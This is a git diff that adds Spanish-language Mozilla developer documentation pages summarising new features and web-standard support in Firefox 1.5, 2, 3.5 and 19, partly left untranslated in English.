+ <li>Extensions or other necko consumers, including XMLHttpRequest, can set a Cookie header explicitly, and necko will not replace it. Stored cookies will be merged with the explicitly set header, in a way that the explicit header will override the stored cookies</li>
+</ul>
+
+<h3 id="Nuevas_caracter.C3.ADsticas_para_el_usuario_final" name="Nuevas_caracter.C3.ADsticas_para_el_usuario_final">Nuevas características para el usuario final</h3>
+
+<h4 id="Experiencia_de_usuario" name="Experiencia_de_usuario">Experiencia de usuario</h4>
+
+<ul>
+ <li><strong>Navegación más rápida</strong> con un rendimiento mejorado usando los botones de vuelta atrás y adelante.</li>
+ <li><strong>Reordenación de las pestañas del navegador al pulsar y soltar.</strong></li>
+ <li><strong>Answers.com ha sido añadida a la lista de buscadores</strong> para permitir búsquedas en su diccionario.</li>
+ <li><strong>Mejoras en la usabilidad</strong> incluyendo descripciones en la páginas erróneas, opciones del menú rediseñadas, RSS discovery, y "Modo Seguro".</li>
+ <li><strong>Mejor soporte para la accesibilidad</strong> incluyendo accesibilidad para DHTML.</li>
+ <li><strong>Ayudante para notificar sitios webs rotos</strong> para reportar los sitio web que no estan funcionando con Firefox.</li>
+ <li><strong>Mejor soporte para Mac OS X</strong> (10.2 y posterior) incluyendo la migración del perfil desde Safari e Internet Explorer para Mac.</li>
+</ul>
+
+<h4 id="Seguridad_y_privacidad" name="Seguridad_y_privacidad">Seguridad y privacidad</h4>
+
+<ul>
+ <li><strong>Actualización automática</strong> para racionalizar to streamline product upgrades. Notification of an update is more prominent, and updates to Firefox may now be half a megabyte or smaller. Updating extensions has also improved.</li>
+ <li><strong>Bloqueo de ventanas emergentes mejorado.</strong></li>
+ <li><strong>Limpieza de datos privados</strong> proporciona un modo fácil y cómodo de eliminar nuestros datos personales desde un menú o con atajos de teclado.</li>
+</ul>
+
+<h3 id="Soporte_a_los_est.C3.A1ndares_Web" name="Soporte_a_los_est.C3.A1ndares_Web">Soporte a los estándares Web</h3>
+
+<p>Firefox es lider de la industria en el soporte a los estandares Web con constantes implementaciones multiplataforma para:</p>
+
+<ul>
+ <li>Lenguaje para el Formato de HiperTextos (<a href="es/HTML">HTML</a>) y lenguaje extensible de marcado de hipertexto (<a href="es/XHTML">XHTML</a>): <a class="external" href="http://www.w3.org/TR/html401/">HTML 4.01</a> y <a class="external" href="http://www.w3.org/TR/xhtml1/">XHTML 1.0/1.1</a></li>
+ <li>Hojas de Estilo en Cascada (<a href="es/CSS">CSS</a>): <a class="external" href="http://www.w3.org/TR/REC-CSS1">CSS Level 1</a>, <a class="external" href="http://www.w3.org/TR/REC-CSS2">CSS Level 2</a> y partes de <a class="external" href="http://www.w3.org/Style/CSS/current-work.html">CSS Level 3</a></li>
+ <li>Modelo de Objetos de Documento (<a href="es/DOM">DOM</a>): <a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/">DOM Level 1</a>, <a class="external" href="http://www.w3.org/DOM/DOMTR#dom2">DOM Level 2</a> and parts of <a class="external" href="http://www.w3.org/DOM/DOMTR#dom3">DOM Level 3</a></li>
+ <li>Mathematical Markup Language: <a class="external" href="http://www.w3.org/Math/">MathML Version 2.0</a></li>
+ <li>Lenguaje Extensible de Marcas (<a href="es/XML">XML</a>): <a class="external" href="http://www.w3.org/TR/REC-xml">XML 1.0</a>, <a class="external" href="http://www.w3.org/TR/REC-xml-names/">Namespaces in XML</a>, <a class="external" href="http://www.w3.org/TR/xml-stylesheet/">Associating Style Sheets with XML Documents 1.0</a>, <a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJun/att-0074/01-NOTE-FIXptr-20010425.htm">Fragment Identifier for XML</a></li>
+ <li>XSL Transformations (<a href="es/XSLT">XSLT</a>): <a class="external" href="http://www.w3.org/TR/xslt">XSLT 1.0</a></li>
+ <li>XML Path Language (<a href="es/XPath">XPath</a>): <a class="external" href="http://www.w3.org/TR/xpath">XPath 1.0</a></li>
+ <li>Resource Description Framework (<a href="es/RDF">RDF</a>): <a class="external" href="http://www.w3.org/RDF/">RDF</a></li>
+ <li>Simple Object Access Protocol (SOAP): <a class="external" href="http://www.w3.org/TR/SOAP/">SOAP 1.1</a></li>
+ <li><a href="es/JavaScript">JavaScript</a> 1.6, based on <a href="es/ECMA-262">ECMA-262</a>, revision 3: <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMA-262</a></li>
+</ul>
+
+<p>Firefox 1.5 soporta: los siguientes protocolos para transporte de datos (HTTP, FTP, SSL, TLS, y otros), caracteres multilingües (Unicode), múltiples formatos gráficos (GIF, JPEG, PNG, SVG, y otros) y la última versión del lenguaje para scripts más popular del mundo, <a href="es/Novedades_en_JavaScript_1.6">JavaScript 1.6</a>.</p>
+
+<h3 id="Cambios_desde_Firefox_1.0" name="Cambios_desde_Firefox_1.0">Cambios desde Firefox 1.0</h3>
+
+<p>Muchos cambios han sido introducido en Firefox desde su lanzamiento el 9 de noviembre de 2004. Firefox ha sido mejorado con muchas nuevas características y correciones de bugs. Las release-notes de Deer Park y Firefox son unas excelentes fuentes la información sobre los cambios en cada lanzamiento de Firefox.</p>
+
+<ul>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5-comprehensive.html">What's new in Firefox 1.5 (comprehensive)</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5rc3.html">What's new in Firefox 1.5 RC 3</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5rc2.html">What's new in Firefox 1.5 RC 2</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5rc1.html">What's new in Firefox 1.5 RC 1</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5b2.html">What's new in Firefox 1.5 Beta 2</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5b1.html">What's new in Firefox 1.5 Beta 1</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5a2.html">What's new in Deer Park Alpha 2</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5a1.html">What's new in Deer Park Alpha 1</a></li>
+</ul>
diff --git a/files/es/firefox_19_para_desarrolladores/index.html b/files/es/firefox_19_para_desarrolladores/index.html
new file mode 100644
index 0000000000..bf38aea264
--- /dev/null
+++ b/files/es/firefox_19_para_desarrolladores/index.html
@@ -0,0 +1,66 @@
+---
+title: Firefox 19 para Desarrolladores
+slug: Firefox_19_para_desarrolladores
+translation_of: Mozilla/Firefox/Releases/19
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p>
+ </p><p>Quieres ayudar a documentar Firefox 19? Visita la <a class="external" href="http://beta.elchi3.de/doctracker/#list=fx&amp;version=19.0">lista de bugs que necesitan ser revisados</a> e inicia!</p>
+<p></p>
+
+<h2 id="Cambios_para_desarrolladores">Cambios para desarrolladores</h2>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<ul>
+ <li>Los objetos <code style="font-size: 14px;"><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Map" title="/en-US/docs/JavaScript/Reference/Global_Objects/Map">Map</a> y</code> <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Set" title="/en-US/docs/JavaScript/Reference/Global_Objects/Set">Set</a></code> pasaron de tener un método <code>size()</code> a tener una propiedad <code>size</code> ({{bug("807001")}})</li>
+ <li>Los objetos <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Map" style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;" title="/en-US/docs/JavaScript/Reference/Global_Objects/Map">Map</a> and <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Set" title="/en-US/docs/JavaScript/Reference/Global_Objects/Set">Set</a></code> ahora tienen un método clear(). ({{bug("805003")}})</li>
+</ul>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li>Support for the viewport-relative {{cssxref("&lt;length&gt;")}} units, <code>vh</code>, <code>vw</code>, <code>vmin</code>, and <code>vmax</code>, has landed ({{bug("503720")}})</li>
+ <li>CSS Flexbox has been unprefixed, but remains disabled by default ({{bug("801098")}}).</li>
+ <li>The <code>-moz-initial</code> value has been unprefixed ({{bug("806068")}}). <code>-moz-initial</code> will be kept for a while as an alias; however, authors are strongly encouraged to switch over to <code>initial</code>.</li>
+ <li>The CSS {{ cssxref("text-transform")}} property now supports the <code>full-width</code> keyword, which allows a more seamless inclusion of Latin characters in text using ideographic fixed-width characters, like Chinese or Japanese ({{bug("774560")}}).</li>
+ <li>The CSS {{ cssxref("page-break-inside")}} has been implemented ({{bug("685012")}}).</li>
+ <li>The CSS {{ cssxref("calc", "calc()")}} function can now be used on <code>&lt;color-stop&gt;</code> (on {{cssxref("&lt;gradient&gt;")}}).</li>
+ <li>The CSS {{ cssxref("@page") }} at-rule is now supported ({{bug("115199")}}). Note that the pseudo-classes {{cssxref(":first")}}, {{cssxref(":right")}}, and {{cssxref(":left")}} are not yet implemented.</li>
+ <li>The {{ cssxref(":-moz-placeholder") }} pseudo-class is replaced by the {{ cssxref("::-moz-placeholder") }} pseudo-<em>element</em> ({{ bug("737786") }}).</li>
+</ul>
+
+<h3 id="DOM">DOM</h3>
+
+<ul>
+ <li>The {{ domxref("element.getElementsByTagName") }} method will now return <code>HTMLCollection</code> ({{bug("799464")}}).</li>
+ <li>The {{domxref("File")}} <code>mozLastModifiedDate</code> property has been implemented. ({{bug("793955")}})</li>
+ <li>The {{domxref("CanvasRenderingContext2D")}} <code>isPointInStroke</code> method has been implemented ({{bug("803124")}}).</li>
+</ul>
+
+<h3 id="XForms">XForms</h3>
+
+<p>Support for <a href="/en-US/docs/XForms" title="/en-US/docs/XForms">XForms</a> has been <a href="http://www.philipp-wagner.com/blog/2011/07/the-future-of-mozilla-xforms/" title="http://www.philipp-wagner.com/blog/2011/07/the-future-of-mozilla-xforms/"><strong>removed</strong></a> in Firefox 19.</p>
+
+<h2 id="Changes_for_add-on_and_Mozilla_developers">Changes for add-on and Mozilla developers</h2>
+
+<div class="note">
+<p><strong>Note:</strong> A key change in Firefox 19 is that <a href="/en-US/docs/XPCOM_API_Reference/nsresult" title="/en-US/docs/XPCOM_API_Reference/nsresult"><code>nsresult</code></a> is now strongly typed. This will help make it easier to detect bugs that are caused by mishandling of return values, but may cause existing code to break if it's making incorrect assumptions in this regard.</p>
+</div>
+
+<ul>
+ <li><code>getBrowserSelection()</code> now returns the selected text in a text input field. As a result, <code>gContextMenu.isTextSelected</code> will be <code>true</code> when the user selects text in a text input field that is not a password field. ({{bug("565717")}})</li>
+ <li><a href="/en/Mozilla/JavaScript_code_modules/Dict.jsm" title="en/Mozilla/JavaScript_code_modules/Dict.jsm">Dict.jsm</a>: <a href="/en/Mozilla/JavaScript_code_modules/Dict.jsm#Creating_a_dictionary" title="en/Mozilla/JavaScript_code_modules/Dict.jsm#Creating_a_dictionary"><code>Dict()</code></a> now takes a JSON String. <a href="/en/Mozilla/JavaScript_code_modules/Dict.jsm#toJSON()" title="en/Mozilla/JavaScript_code_modules/Dict.jsm#toJSON()"><code>Dict.toJSON()</code></a> was added, and it returns a JSON String. ({{bug("727967")}})</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="http://www.mozilla.org/en-US/firefox/19.0beta/releasenotes/">Firefox 19 Beta Release Notes</a></li>
+ <li><a href="/en-US/docs/Site_Compatibility_for_Firefox_19">Site Compatibility for Firefox 19</a></li>
+</ul>
+
+<h3 id="Older_versions">Older versions</h3>
+
+<p>{{Firefox_for_developers('18')}}</p>
diff --git a/files/es/firefox_2_para_desarrolladores/index.html b/files/es/firefox_2_para_desarrolladores/index.html
new file mode 100644
index 0000000000..54da671995
--- /dev/null
+++ b/files/es/firefox_2_para_desarrolladores/index.html
@@ -0,0 +1,157 @@
+---
+title: Firefox 2 para desarrolladores
+slug: Firefox_2_para_desarrolladores
+tags:
+  - CSS
+  - Complementos
+  - DOM
+  - Desarrollo_Web
+  - Estándares_Web
+  - HTML
+  - JavaScript
+  - RDF
+  - SVG
+  - Servicios_Web_XML
+  - Todas_las_Categorías
+  - XML
+  - XSLT
+  - XUL
+  - extensiones
+translation_of: Mozilla/Firefox/Releases/2
+---
+<div>{{FirefoxSidebar}}</div><h2 id="Nuevas_caracter.C3.ADsticas_para_desarrolladores_en_Firefox_2" name="Nuevas_caracter.C3.ADsticas_para_desarrolladores_en_Firefox_2">Nuevas características para desarrolladores en Firefox 2</h2>
+
+<p>Firefox 2 aporta gran cantidad de funcionalidades nuevas, este artículo proporciona enlaces que describen estas nuevas capacidades.</p>
+
+<h3 id="Para_desarrolladores_de_sitios_y_aplicaciones_web." name="Para_desarrolladores_de_sitios_y_aplicaciones_web.">Para desarrolladores de sitios y aplicaciones web.</h3>
+
+<dl>
+ <dt><a class="external" href="http://wiki.mozilla.org/Microsummaries">MicroResúmenes <small>(en)</small></a></dt>
+ <dd>Son breves recopilaciones actualizables de la información más importante en una página Web. Pueden ser proporcionados por los desarrolladores del sitio o por terceros. Cuando se añade a marcadores una página con esta funcionalidad, los usuarios pueden escoger que se muestre este microresúmen en vez del típico título estático.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Como_crear_un_Microresumen" title="es/Como_crear_un_Microresumen">Cómo crear un Microresumen</a></dt>
+ <dd>Tutorial sobre cómo crear un generador de microresúmenes.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Marcado_XML_en_los_microres%C3%BAmenes" title="es/Marcado_XML_en_los_microresúmenes">Marcado XML en los microresúmenes</a></dt>
+ <dd>Una guía de referencia sobre el marcado XML usado para crear microresúmenes.</dd>
+</dl>
+
+<dl>
+ <dt><a class="external" href="http://opensearch.a9.com/">Soporte OpenSearch</a></dt>
+ <dd>Firefox 2 admite el formato de búsqueda OpenSearch.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Creaci%C3%B3n_de_plugins_MozSearch" title="es/Creación_de_plugins_MozSearch">Creación de plugins MozSearch</a></dt>
+ <dd>Firefox 2 soporta MozSearch, un plugin de búsqueda basado en OpenSearch, pero previsto sólo para uso interno.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Permitir_sugerencias_en_los_plugins_de_b%C3%BAsqueda" title="es/Permitir_sugerencias_en_los_plugins_de_búsqueda">Permitir sugerencias en los plugins de búsqueda</a></dt>
+ <dd>Cómo hacer que su plugin MozSearch ofrezca sugerencias de búsqueda en una ventana emergente cuando usamos la barra de búsqueda.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Novedades_en_JavaScript_1.7" title="es/Novedades_en_JavaScript_1.7">Novedades en JavaScript 1.7</a></dt>
+ <dd>Firefox 2 soporta JavaScript 1.7, que incluye nuevas características como <code>let</code>, asignación desestructurada, generadores e iteradores, y "array comprehensions".</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/DOM/Almacenamiento" title="es/DOM/Almacenamiento">WHATWG Sesiones del lado cliente y el almacenamiento continuo (Almacenamiento DOM)</a></dt>
+ <dd>Las sesiones del lado cliente y el almacenamiento continuo permiten que las aplicaciones web puedan almacenar datos estructurados en el lado del cliente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/SVG_en_Firefox" title="es/SVG_en_Firefox">SVG en Firefox</a></dt>
+ <dd>Firefox 2 mejora el soporte a Gráficos Vectoriales Escalables (SVG), implementando el elemento <code>&lt;textPath&gt;</code> y aumentando el número de atributos soportados.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Control_de_la_correcci%C3%B3n_ortogr%C3%A1fica_en_formularios_HTML" title="es/Control_de_la_corrección_ortográfica_en_formularios_HTML">Control de la corrección ortográfica en formularios HTML</a></dt>
+ <dd>Firefox 2 incluye soporte para la revisión ortográfica en línea de los campos y áreas de texto. Este artículo describe cómo escribir HTML para activar o desactivar la revisión ortográfica en los elementos del formulario de manera individual.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Seguridad_en_Firefox_2" title="es/Seguridad_en_Firefox_2">Seguridad en Firefox 2</a></dt>
+ <dd>Firefox 2 cambia los protocolos de seguridad que están activos por defecto.</dd>
+</dl>
+
+<h3 id="Para_desarrolladores_XUL_y_de_extensiones" name="Para_desarrolladores_XUL_y_de_extensiones">Para desarrolladores XUL y de extensiones</h3>
+
+<dl>
+ <dt><a href="/es/API_de_restauraci%C3%B3n_de_sesi%C3%B3n" title="es/API_de_restauración_de_sesión">API de restauración de sesión</a></dt>
+ <dd>Aporta métodos para poder guardar y restaurar entre sesiones en Firefox.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/API_de_acceso_a_canales" title="es/API_de_acceso_a_canales">API de acceso a canales</a></dt>
+ <dd>API que permite al desarrollador tener acceso y parsear canales Atom y RSS.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/SAX" title="es/SAX">SAX</a></dt>
+ <dd>API de <abbr title="análisis sintáctico">parseo</abbr> basado en eventos XML.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Instalaci%C3%B3n_de_motores_de_b%C3%BAsqueda_desde_p%C3%A1ginas_web" title="es/Instalación_de_motores_de_búsqueda_desde_páginas_web">Instalación de motores de búsqueda desde páginas web</a></dt>
+ <dd>Un código JavaScript puede indicarle a Firefox cómo instalar el plugin de un nuevo motor de búsqueda escrito en formato Sherlock u OpenSearch.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/A%C3%B1adir_datos_para_la_protecci%C3%B3n_anti-phishing" title="es/Añadir_datos_para_la_protección_anti-phishing">Añadir datos para la protección anti-phishing</a></dt>
+ <dd>Es posible aumentar la protección anti-phishing de Firefox añadiendo datos adicionales del proveedor para un sistema de navegación seguro.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/A%C3%B1adir_lectores_de_canales_a_Firefox" title="es/Añadir_lectores_de_canales_a_Firefox">Añadir lectores de canales a Firefox</a></dt>
+ <dd>Puedes añadir más lectores de canales a Firefox, ya sean webs o aplicaciones.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Almacenamiento" title="es/Almacenamiento">Almacenamiento</a></dt>
+ <dd>Firefox 2 presenta mozStorage, una arquitectura de base de datos basada en sqlite.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Cambios_del_tema_en_Firefox_2" title="es/Cambios_del_tema_en_Firefox_2">Cambios del tema en Firefox 2</a></dt>
+ <dd>Comenta los cambios necesarios para actualizar temas existentes para que funcionen en Firefox 2.</dd>
+</dl>
+
+<h2 id="Nuevas_caracter.C3.ADsticas_para_usuarios_finales" name="Nuevas_caracter.C3.ADsticas_para_usuarios_finales">Nuevas características para usuarios finales</h2>
+
+<p>Firefox 2.0 proporciona una versión mejorada de la limpia interfaz que ofrecía en versiones anteriores. Con mejoras de seguridad para que tu experiencia en línea sea más segura y práctica que nunca.</p>
+
+<h3 id="Experiencia_de_usuario" name="Experiencia_de_usuario">Experiencia de usuario</h3>
+
+<ul>
+ <li>La <strong>corrección ortográfica de las áreas de texto</strong> permite rellenar formularios Web con tranquilidad.</li>
+ <li>Los <strong>microresúmenes</strong> permiten crear marcadores que muestren información extraída de las páginas que enlazan. Pueden ser actualizados automáticamente; esto es muy útil para seguir el curso de una acción, o datos cambiantes.</li>
+ <li>El <strong>Administrador de extensiones</strong> ha sido mejorado.</li>
+ <li>El <strong>Administrador de motores de búsqueda</strong> permite que estos puedan ser recolocados y/o suprimidos en la barra de búsqueda.</li>
+ <li><strong>Navegación con pestañas mejorada</strong>. Se incluye un botón de cierre en cada pestaña. Firefox cambia su modo de decidir qué pestaña mostrar cuando cerramos la pestaña actual. Se simplifican la preferencias de las pestañas.</li>
+ <li>La <strong>detección automática de motores de búsqueda</strong> permite a los motores ofrecer plugins para la barra de búsqueda de Firefox y ofrecerse a instalarlos para ti.</li>
+ <li>Con las <strong>sugerencias de búsqueda</strong> los motores de búsqueda pueden sugerir términos basándose en lo que se escribió en búsquedas anteriores.</li>
+</ul>
+
+<h3 id="Seguridad_y_privacidad" name="Seguridad_y_privacidad">Seguridad y privacidad</h3>
+
+<ul>
+ <li><strong>Anti-phishing</strong> para avisar a los usuarios cuando visitan un sitio web sospechoso.</li>
+</ul>
+
+<h3 id="Vea_tambi.C3.A9n" name="Vea_tambi.C3.A9n">Vea también</h3>
+
+<ul>
+ <li><a href="/es/Firefox_1.5_para_Desarrolladores" title="es/Firefox_1.5_para_Desarrolladores">Firefox 1.5 para Desarrolladores</a></li>
+</ul>
+
+<p><span class="comment">Categorías</span></p>
+
+<p><span class="comment">Interwiki links</span></p>
+
+<p>{{ languages( { "ca": "ca/Firefox_2_per_a_desenvolupadors", "en": "en/Firefox_2_for_developers", "fr": "fr/Firefox_2_pour_les_d\u00e9veloppeurs", "it": "it/Firefox_2.0_per_Sviluppatori", "ja": "ja/Firefox_2_for_developers", "ko": "ko/Firefox_2_for_developers", "pl": "pl/Firefox_2_dla_programist\u00f3w", "pt": "pt/Firefox_2_para_desenvolvedores", "zh-tw": "zh_tw/Firefox_2_\u6280\u8853\u6587\u4ef6" } ) }}</p>
diff --git a/files/es/firefox_3.5_para_desarrolladores/index.html b/files/es/firefox_3.5_para_desarrolladores/index.html
new file mode 100644
index 0000000000..5043206fe8
--- /dev/null
+++ b/files/es/firefox_3.5_para_desarrolladores/index.html
@@ -0,0 +1,231 @@
+---
+title: Firefox 3.5 para desarrolladores
+slug: Firefox_3.5_para_desarrolladores
+translation_of: Mozilla/Firefox/Releases/3.5
+---
+<div>{{FirefoxSidebar}}</div><p>Firefox 3.5 implementa nuevas funcionalidades, además de agregar y mejorar el funcionamiento de una amplia variedad de estándares web. Este artículo ofrece una extensa lista con enlaces a artículos que explican estas grandes mejoras.</p>
+
+<h2 id="Nuevas_funcionalidades_para_desarrolladores_en_Firefox_3.5">Nuevas funcionalidades para desarrolladores en Firefox 3.5</h2>
+
+<h3 id="Para_desarrolladores_de_sitios_y_aplicaciones_web">Para desarrolladores de sitios y aplicaciones web</h3>
+
+<h4 id="Funciones_de_HTML_5">Funciones de HTML 5</h4>
+
+<dl>
+ <dt><a href="/Es/Usar_audio_y_v%C3%ADdeo_en_Firefox" title="Es/Usar audio y video en Firefox">Usar audio y video en Firefox</a></dt>
+ <dd>Firefox 3.5 implementa los elementos  <a href="/en-US/docs/HTML/Element/Audio" title="HTML/Element/Audio"><code>audio</code></a> y <a href="/en-US/docs/HTML/Element/Video" title="HTML/Element/Video"><code>video</code></a> de HTML 5.</dd>
+ <dt><a href="/en-US/docs/Offline_resources_in_Firefox" title="Offline resources in Firefox">Recursos sin conexión en Firefox</a></dt>
+ <dd>Firefox 3.5 implementa de forma completa la especificación para recursos sin conexión de HTML 5.</dd>
+ <dt><a href="/en-US/docs/DragDrop/Drag_and_Drop" title="DragDrop/Drag and Drop">Arrastrar y soltar (Drag and drop</a>)</dt>
+ <dd>La API para arrastrar y soltar de HTML 5 permite que el usuario pueda arrastrar y soltar objetos entre sitios web. También permite una API más simple para el uso por parte de las extensiones o aplicaciones basadas en la plataforma Mozilla.</dd>
+</dl>
+
+<h4 id="Nuevas_características_de_CSS_implementadas">Nuevas características de CSS implementadas</h4>
+
+<dl>
+ <dt><a href="/en-US/docs/CSS/@font-face" title="CSS/@font-face">Tipografías descargables</a></dt>
+ <dd>La nueva regla {{cssxref("@font-face")}} permite a las páginas web disponer de tipografías descargables, para que los sitios web puedan ser visualizados como el autor lo pretende.</dd>
+ <dt><a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">Pedidos de CSS según el medio</a></dt>
+ <dd>Firefox 3.5 implementa esta característica que permite al autor del sitio web tener más control sobre el archivo CSS que cada dispositivo va a recibir según las características del mismo.</dd>
+ <dt>{{cssxref(":before")}} y {{cssxref(":after")}} actualizados a CSS 2.1</dt>
+ <dd>Los pseudo-elementos <code>:before</code> y <code>:after</code> han sido actualizados para implementar por completo las características de CSS 2.1, añadiendo la posibilidad de usar <code>position</code>, <code>float</code>, <code>list-style-*</code> y algunas propiedades de <code>display</code>.</dd>
+ <dt><a href="/en-US/docs/CSS/opacity" title="CSS/Opacity"><code>opacity</code></a></dt>
+ <dd>La extensión al CSS <code>-moz-opacity</code> fue eliminada para implementar la propiedad estandar <code>opacity</code>.</dd>
+ <dt><a href="/en-US/docs/CSS/text-shadow" title="CSS/Text-shadow"><code>text-shadow</code></a></dt>
+ <dd>La propiedad <code>text-shadow</code>, que permite especificar efectos de sombra para textos y decoraciones del texto, está implementada.</dd>
+ <dt><a href="/en-US/docs/CSS/Word-wrap" title="CSS/Word-wrap"><code>word-wrap</code></a></dt>
+ <dd>Esta propiedad permite especificar cuando las líneas deben o no ser cortadas entre palabras para prevenir el overflow cuando una línea que no puede ser cortada es demasiado larga para entrar en una sola línea.</dd>
+ <dt><a href="/en-US/docs/CSS/-moz-box-shadow" title="CSS/-moz-box-shadow"><code>-moz-box-shadow</code></a></dt>
+ <dt><a href="/en-US/docs/CSS/-moz-border-image" title="CSS/-moz-border-image"><code>-moz-border-image</code></a></dt>
+ <dt><a href="/en-US/docs/CSS/-moz-column-rule" title="CSS/-moz-column-rule"><code>-moz-column-rule</code></a></dt>
+ <dt><a href="/en-US/docs/CSS/-moz-column-rule-width" title="CSS/-moz-column-rule-width"><code>-moz-column-rule-width</code></a></dt>
+ <dt><a href="/en-US/docs/CSS/-moz-column-rule-style" title="CSS/-moz-column-rule-style"><code>-moz-column-rule-style</code></a></dt>
+ <dt><a href="/en-US/docs/CSS/-moz-column-rule-color" title="CSS/-moz-column-rule-color"><code>-moz-column-rule-color</code></a></dt>
+ <dd>Firefox 3.5 añade la posibilidad de usar estas extensiones al CSS de Mozilla.</dd>
+ <dt><a href="/en-US/docs/CSS/color#Mozilla_Specific_Colors" title="CSS/color#Mozilla Specific Colors">The <code>-moz-nativehyperlinktext</code> color value</a></dt>
+ <dd>Este nuevo valor del color representa el predefinido por el sistema del usuario para los hipervínculos.</dd>
+ <dt>Las nuevas propiedades <a href="/en-US/docs/CSS/-moz-window-shadow" title="CSS/-moz-window-shadow"><code>-moz-window-shadow</code></a> y <a href="/en-US/docs/CSS/:-moz-system-metric(mac-graphite-theme)" title="CSS/:-moz-system-metric(mac-graphite-theme)"><code>-moz-system-metric(mac-graphite-theme)</code></a></dt>
+ <dd>Estas nuevas propiedades de CSS fueron añadidas para facilitar la creación de temas.</dd>
+ <dt>Nuevos valores para <a href="/en-US/docs/CSS/-moz-appearance" title="CSS/-moz-appearance"><code>-moz-appearance</code></a></dt>
+ <dd>Los valores <code>-moz-win-glass</code> y <code>-moz-mac-unified-toolbar</code> se agregaron a <code>-moz-appearance</code>.</dd>
+ <dt><a href="/en-US/docs/CSS/Using_CSS_transforms" title="CSS/Using CSS transforms">Usar transformaciones CSS</a></dt>
+ <dd>Firefox 3.5 implementa las transformaciones CSS.  Mirá <a href="/en-US/docs/CSS/-moz-transform" title="CSS/-moz-transform"><code>-moz-transform</code></a> y <a href="/en-US/docs/CSS/-moz-transform-origin" title="CSS/-moz-transform-origin"><code>-moz-transform-origin</code></a> para saber más detalles.</dd>
+ <dt><a href="/en-US/docs/CSS/:nth-child" title="CSS/:nth-child"><code>:nth-child</code></a></dt>
+ <dt><code><a href="/en-US/docs/CSS/:nth-last-child" title="CSS/:nth-last-child">:nth-last-child</a></code></dt>
+ <dt><code><a href="/en-US/docs/CSS/:nth-of-type" title="CSS/:nth-of-type">:nth-of-type</a></code></dt>
+ <dt><code><a href="/en-US/docs/CSS/:nth-last-of-type" title="CSS/:nth-last-of-type">:nth-last-of-type</a></code></dt>
+ <dt><code><a href="/en-US/docs/CSS/:first-of-type" title="CSS/:first-of-type">:first-of-type</a></code></dt>
+ <dt><code><a href="/en-US/docs/CSS/:nth-last-of-type" title="CSS/:nth-last-of-type">:last-of-type</a></code></dt>
+ <dt><a href="/en-US/docs/CSS/:only-of-type" title="CSS/:only-of-type"><code>:only-of-type</code></a></dt>
+ <dd>Estos selectores pueden ser usados en Firefox 3.5.</dd>
+</dl>
+
+<h4 id="Nuevas_funcionalidades_del_DOM">Nuevas funcionalidades del DOM</h4>
+
+<dl>
+ <dt><a href="/en-US/docs/DOM/Storage#localStorage" title="DOM/Storage#localStorage">localStorage</a></dt>
+ <dd>Firefox 3.5 implementa el uso de la propiedad <code>localStorage</code> del Web Storage, que permite que las aplicaciones web guarden datos en la computadora del cliente.</dd>
+ <dt><a href="/en-US/docs/Using_web_workers" title="Using DOM workers">Usar DOM workers</a></dt>
+ <dd>Firefox 3.5 implementa los trabajadores (workers) del DOM lo que permite el multi-threading en las aplicaciones web.</dd>
+ <dt><a href="/en-US/docs/Using_geolocation" title="Using geolocation">Usar geolocalización</a></dt>
+ <dd>Firefox 3.5 implementa la API de geolocalización, que permite que las aplicaciones web obtengan información sobre la ubicación actual del usuario si unu proveedor de ese servicio está instalado y habilitado.</dd>
+ <dt><a href="/en-US/docs/Using_native_JSON" title="Using JSON in Firefox">Usar JSON en Firefox</a></dt>
+ <dd>Posibilidad de usar <a href="/en-US/docs/JSON" title="JSON">JSON</a> en el DOM.</dd>
+ <dt><a href="/en-US/docs/DOM/Locating_DOM_elements_using_selectors" title="DOM/Locating DOM elements using selectors">Localizar elementos del DOM con selectores</a></dt>
+ <dd>El API de selectores permite pedirle a un documento que localice los elementos que coincidan con una regla seleccionada.</dd>
+ <dt><a href="/en-US/docs/DOM/NodeIterator" title="DOM/NodeIterator">El objeto <code>NodeIterator</code></a></dt>
+ <dd>El objeto <code>NodeIterator</code> permite recorrer la lista de nodos en un árbol del DOM.</dd>
+ <dt><a href="/en-US/docs/Gecko-Specific_DOM_Events#MozAfterPaint" title="Gecko-Specific DOM Events#MozAfterPaint">El evento MozAfterPaint</a></dt>
+ <dd>Este nuevo evento del DOM es lanzado después de actualizar partes de una ventana.</dd>
